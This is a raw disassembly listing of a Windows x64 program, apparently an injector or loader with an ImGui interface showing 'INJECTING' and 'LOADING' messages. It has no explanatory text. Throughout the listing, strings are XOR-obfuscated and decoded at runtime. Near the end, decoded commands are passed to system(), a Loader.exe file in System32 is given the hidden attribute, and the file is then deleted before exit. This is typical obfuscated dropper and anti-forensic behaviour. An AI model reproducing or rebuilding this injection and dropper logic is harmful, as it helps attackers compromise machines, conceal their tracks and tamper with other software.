xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140054361
movaps xmm0, xmmword [0x1400f87b0]
lea rcx, [rbp + 0x7a0]
movups xmmword [rbp + 0x7a0], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f854c]
test eax, 0xff000000
je 0x14005445f
lea rax, [rbp + 0x378]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400543e0
lea rdx, [rbp + 0x378]
add rdx, rcx
lea rax, [rbp + 0x378]
cmp rax, rdx
je 0x14005445f
test r12, r12
jne 0x14005440c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x378]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, byte [0x1400f7cb8]
mov r8d, r14d
mov byte [rbp + 0x2e0], al
movups xmm1, xmmword [0x1400f7ca8]
movups xmm0, xmmword [0x1400f7c98]
movups xmmword [rbp + 0x2d0], xmm1
movups xmmword [rbp + 0x2c0], xmm0
cmp r13d, 2
jl 0x1400545dd
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x2c0]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x1400544d0
cmp r8d, 0x21
jge 0x140054624
movsxd rax, r8d
lea r9, [rbp + 0x2c0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x1400545f0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x7b0]
movups xmmword [rbp + 0x7b0], xmm0
call fcn.140003830
mov r9d, eax
mov r8, r12
addss xmm10, dword [0x1400f8550]
test eax, 0xff000000
je 0x1400546ea
lea rax, [rbp + 0x2c0]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140054666
lea rdx, [rbp + 0x2c0]
add rdx, rcx
lea rax, [rbp + 0x2c0]
cmp rax, rdx
je 0x1400546ea
test r12, r12
jne 0x140054692
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
lea rax, [rbp + 0x2c0]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400f84c8]
mov rcx, r8
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm11
mov dword [rsp + 0x20], r9d
unpcklps xmm0, xmm10
movq r9, xmm0
call fcn.140033470
cmp byte [0x1400f7b3b], 0
mov rcx, qword [0x1401e29d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.cg4wg]
mov dword [rbp - 8], eax
mov dword [rbp + 0x1c8], 0x42a00000
mov dword [rbp + 0x1cc], 0x41c80000
je 0x140054864
cmp r13d, 2
jl 0x140054822
movdqa xmm3, xmmword [0x1400f8670]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400f87e0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400f87e0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r15d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400f8690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400f86e0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 8], xmm2
jmp 0x140054864
lea r9, [rbp - 8]
mov r8d, r14d
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140054830
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp - 8]
call fcn.14004bc60
test al, al
je 0x140054984
xorps xmm0, xmm0
mov qword [rbp + 0x4e0], r14
mov r8d, Ordinal_27
mov qword [rbp + 0x4e8], r14
lea rdx, str.INJECTING__PLEASE_WAIT...
lea rcx, [rbp + 0x4d0]
movups xmmword [rbp + 0x4d0], xmm0
call fcn.140058d70
lea rcx, [rbp + 0x560]
call fcn.140049a40
movss xmm2, dword [0x1400f8494]
lea rdx, [rbp + 0x4d0]
mov rcx, rax
call fcn.14004de20
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x140054911
mov rcx, qword [rbp + 0x560]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005490c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov rdx, qword [rbp + 0x4e8]
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x578], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x560], 0
cmp rdx, 0x10
jb 0x14005496b
mov rcx, qword [rbp + 0x4d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054966
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov qword [rbp + 0x4e0], r14
mov qword [rbp + 0x4e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4d0], 0
mov rcx, qword [0x1401e29d0]
lea r8, [rbp + 0x1d0]
cmp dword [reloc.WS2_32.dll_bind], 1
movss xmm6, dword [0x1400f8578]
sete dl
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x68]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x1400f8560]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400f7b3c]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x1400f7b40]
xor byte [rbp - 0x67], 0x32
xor al, 0x35
xor byte [rbp - 0x66], 0x33
xor byte [rbp - 0x65], 0x34
mov byte [rbp - 0x64], al
mov dword [rbp + 0x1d0], 0x42a00000
mov dword [rbp + 0x1d4], 0x41c80000
mov byte [rbp - 0x68], 0x46
call fcn.14004c890
test al, al
je 0x140054a6e
mov edx, 1
mov dword [reloc.WS2_32.dll_bind], edx
jmp 0x140054a74
mov edx, dword [reloc.WS2_32.dll_bind]
mov rcx, qword [0x1401e29d0]
cmp edx, 2
sete r10b
cmp byte [0x1400f7f57], 0
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rax, qword [str.bbsse8s__]
mov qword [rbp + 8], rax
mov dword [rbp + 0x1d8], 0x42a00000
mov dword [rbp + 0x1dc], 0x41c80000
je 0x140054c74
cmp r13d, 2
jl 0x140054c31
movdqa xmm2, xmmword [0x1400f8670]
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 8]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 0xc]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xc], xmm2
jmp 0x140054c74
lea r9, [rbp + 8]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140054c40
lea r8, [rbp + 0x1d8]
movzx edx, r10b
lea rcx, [rbp + 8]
call fcn.14004c890
test al, al
je 0x140054ecd
mov dword [reloc.WS2_32.dll_bind], 2
jmp 0x140054ecd
mov rcx, qword [0x1401e29d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x7c0]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400f8538]
addss xmm2, dword [0x1400f8510]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400f8780]
movups xmmword [rbp + 0x7c0], xmm0
call fcn.140003830
cmp byte [0x1400f7b5f], 0
mov dword [rbp + 0xe0], eax
mov rax, qword [str.BBZZ_SE88rga]
mov qword [rsp + 0x60], rax
je 0x140054eb4
cmp r13d, 2
jl 0x140054e6d
movdqa xmm2, xmmword [0x1400f8670]
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rsp + 0x60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rsp + 0x60], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rsp + 0x64]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
jmp 0x140054eb4
lea r9, [rsp + 0x60]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140054e80
movss xmm1, dword [0x1400f8518]
lea r9, [rbp + 0xe0]
lea rcx, [rsp + 0x60]
call fcn.14004a6f0
call fcn.140010ee0
call fcn.140009fe0
mov rcx, qword [0x1401e2a20]
mov r9d, 3
movss xmm0, dword [0x1400f844c]
xor r8d, r8d
mov dword [rsp + 0x30], r14d
xor edx, edx
movss dword [rsp + 0x28], xmm0
mov rax, qword [rcx]
mov dword [rsp + 0x20], r14d
call qword [rax + 0x158]
mov rcx, qword [0x1401e2a20]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140054f59
call fcn.14000a4a0
mov rax, qword [0x1401e29d0]
mov rcx, qword [rax + 0x1ef8]
mov rax, qword [rcx]
mov rcx, r14
add rax, 0xa8
cmp byte [rax], 0
cmovne rcx, rax
call fcn.1400354c0
mov rcx, qword [0x1401e2a20]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [rsi + 8], 0x400
je 0x140055043
call fcn.140019e60
mov rbx, qword [0x1401e29d0]
mov r14d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r14d
jle 0x140054fdc
mov esi, 8
nop dword [rax + rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x140054fca
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x140054fb7
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x140054fca
xor edx, edx
mov rcx, rdi
call rax
mov eax, dword [rbx + 0x1628]
inc r14d
add rsi, 8
cmp r14d, eax
jl 0x140054f90
mov r14d, 1
cmp eax, r14d
jle 0x14005503a
mov esi, 8
nop dword [rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x14005502a
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x140055017
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14005502a
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
cmp r14d, dword [rbx + 0x1628]
jl 0x140054ff0
mov r15d, 5
xor r14d, r14d
mov rcx, qword [0x1401e2a20]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r14
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
call r10
cmp eax, 0x88760868
jne 0x140055084
mov rcx, qword [0x1401e2a20]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140055084
call fcn.1400499a0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14005530c
movss xmm8, dword [0x1400f8580]
mov edi, Ordinal_33
movss xmm6, dword [rbp + 0xe8]
movss xmm7, dword [rbp + 0xe4]
mov rsi, qword [rbp + 0x528]
cmp dword [rbp + 0xa78], 0x12
jne 0x14004ea00
jmp 0x140055316
mov ecx, 6
mov dword [rbp + 0xa58], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
mov qword [rbp + 0x500], r14
mov r8d, reloc.WS2_32.dll_socket
mov qword [rbp + 0x508], r14
lea rdx, str.LOADING__PLEASE_WAIT...
lea rcx, [rbp + 0x4f0]
movups xmmword [rbp + 0x4f0], xmm0
call fcn.140058d70
lea rcx, [rbp + 0x580]
call fcn.140049a40
movss xmm2, dword [0x1400f84bc]
lea rdx, [rbp + 0x4f0]
mov rcx, rax
call fcn.14004de20
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x140055170
mov rcx, qword [rbp + 0x580]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005516b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov rdx, qword [rbp + 0x508]
mov qword [rbp + 0x590], r14
mov qword [rbp + 0x598], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x580], 0
cmp rdx, 0x10
jb 0x1400551ca
mov rcx, qword [rbp + 0x4f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400551c5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
movdqa xmm0, xmmword [str._8l_c_97_u_1111111111111111]
lea rcx, [rbp + 0x5d0]
movdqa xmm1, xmmword [str.___asr_]
movdqu xmmword [rbp + 0x5d0], xmm0
movdqa xmm0, xmmword [0x1400f86c0]
movdqu xmmword [rbp + 0x5f0], xmm0
movdqa xmm0, xmmword [0x1400f87f0]
movdqu xmmword [rbp + 0x5e0], xmm1
movdqa xmm1, xmmword [0x1400f8810]
movdqu xmmword [rbp + 0x610], xmm0
movdqa xmm0, xmmword [0x1400f8830]
movdqu xmmword [rbp + 0x600], xmm1
movdqa xmm1, xmmword [0x1400f8840]
movdqu xmmword [rbp + 0x630], xmm0
movdqa xmm0, xmmword [0x1400f8800]
movdqu xmmword [rbp + 0x620], xmm1
movdqa xmm1, xmmword [0x1400f8820]
movdqu xmmword [rbp + 0x650], xmm0
mov qword [rbp + 0x500], r14
mov qword [rbp + 0x508], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4f0], 0
movdqu xmmword [rbp + 0x640], xmm1
mov dword [rbp + 0x660], 0xaeb4e7f8
mov dword [rbp + 0x664], 0xe1ecfdb0
mov dword [rbp + 0x668], 0x100d0c6
call fcn.140055b10
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__C:WindowsSystem32Loader.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:WindowsSystem32Loader.exe
lea rcx, [rbp + 0xaa0]
call fcn.1400576d0
lea rcx, [rbp + 0xaa0]
call fcn.140057520
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Loader.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0xa78], reloc.WS2_32.dll_select
call fcn.14001a460
call fcn.140035d70
mov rcx, qword [0x1401e2df8]
test rcx, rcx
je 0x140055339
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e2df8], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [0x1401e2e08]
test rcx, rcx
je 0x140055363
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [0x1401e29d0]
mov rcx, rbx
mov qword [0x1401e2e08], r14
mov qword [0x1401e2e10], r14
mov qword [0x1401e2e18], r14
mov qword [0x1401e2e20], r14
mov qword [0x1401e2e28], r14
mov qword [0x1401e2e30], r14
mov dword [reloc.WS2_32.dll_htons], 9
mov byte [0x1401e2b08], 0
mov byte [reloc.WS2_32.dll_accept], 1
call fcn.140008f20
cmp qword [0x1401e29d0], rbx
jne 0x1400553c4
mov qword [0x1401e29d0], r14
test rbx, rbx
je 0x1400553ec
mov rcx, rbx
call fcn.140024340
mov rax, qword [0x1401e29d0]
test rax, rax
je 0x1400553e3
dec dword [rax + 0x3b0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1401e2a20]
test rcx, rcx
je 0x140055405
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e2a20], r14
mov rcx, qword [0x1401e2a28]
test rcx, rcx
je 0x14005541e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e2a28], r14
mov rcx, qword [rbp + 0x530]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x9d8]
mov rcx, qword [rbp + 0xa00]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0xa30]
cmp rdx, 0x10
jb 0x140055480
mov rcx, qword [rbp + 0xa18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005547b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
cmp dword [rbp + 0xa48], 0
mov qword [rbp + 0xa28], r14
mov qword [rbp + 0xa30], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa18], 0
jne 0x14005560a
xor eax, eax
movaps xmm14, xmmword [rsp + 0xbe0]
movaps xmm13, xmmword [rsp + 0xbf0]
movaps xmm12, xmmword [rsp + 0xc00]
movaps xmm11, xmmword [rsp + 0xc10]
movaps xmm10, xmmword [rsp + 0xc20]
movaps xmm9, xmmword [rsp + 0xc30]
movaps xmm8, xmmword [rsp + 0xc40]
movaps xmm7, xmmword [rsp + 0xc50]
movaps xmm6, xmmword [rsp + 0xc60]
mov r15, qword [rsp + 0xc70]
mov r13, qword [rsp + 0xc78]
mov r12, qword [rsp + 0xc80]
mov rdi, qword [rsp + 0xcb0]
mov rsi, qword [rsp + 0xca8]
mov rbx, qword [rsp + 0xca0]
movaps xmm15, xmmword [rsp + 0xbd0]
mov rcx, qword [rbp + 0xac0]
xor rcx, rsp
call fcn.1400c1680
add rsp, 0xc88
pop r14
pop rbp
ret
mov rcx, qword [0x1401e2a28]
mov rdx, qword [0x1401e2a20]
test rdx, rdx
je 0x140055574
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1401e2a28]
mov qword [0x1401e2a20], r14
test rcx, rcx
je 0x140055586
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e2a28], r14
mov rdx, qword [rbp + 0x9d8]
mov rcx, qword [rbp + 0xa00]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0xa30]
cmp rdx, 0x10
jb 0x1400555de
mov rcx, qword [rbp + 0xa18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400555d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400555d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1ae0
mov qword [rbp + 0xa28], r14
mov qword [rbp + 0xa30], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa18], r14b
cmp dword [rbp + 0xa48], r14d
jne 0x14005560a
mov eax, 1
jmp 0x1400554a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0xa48], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3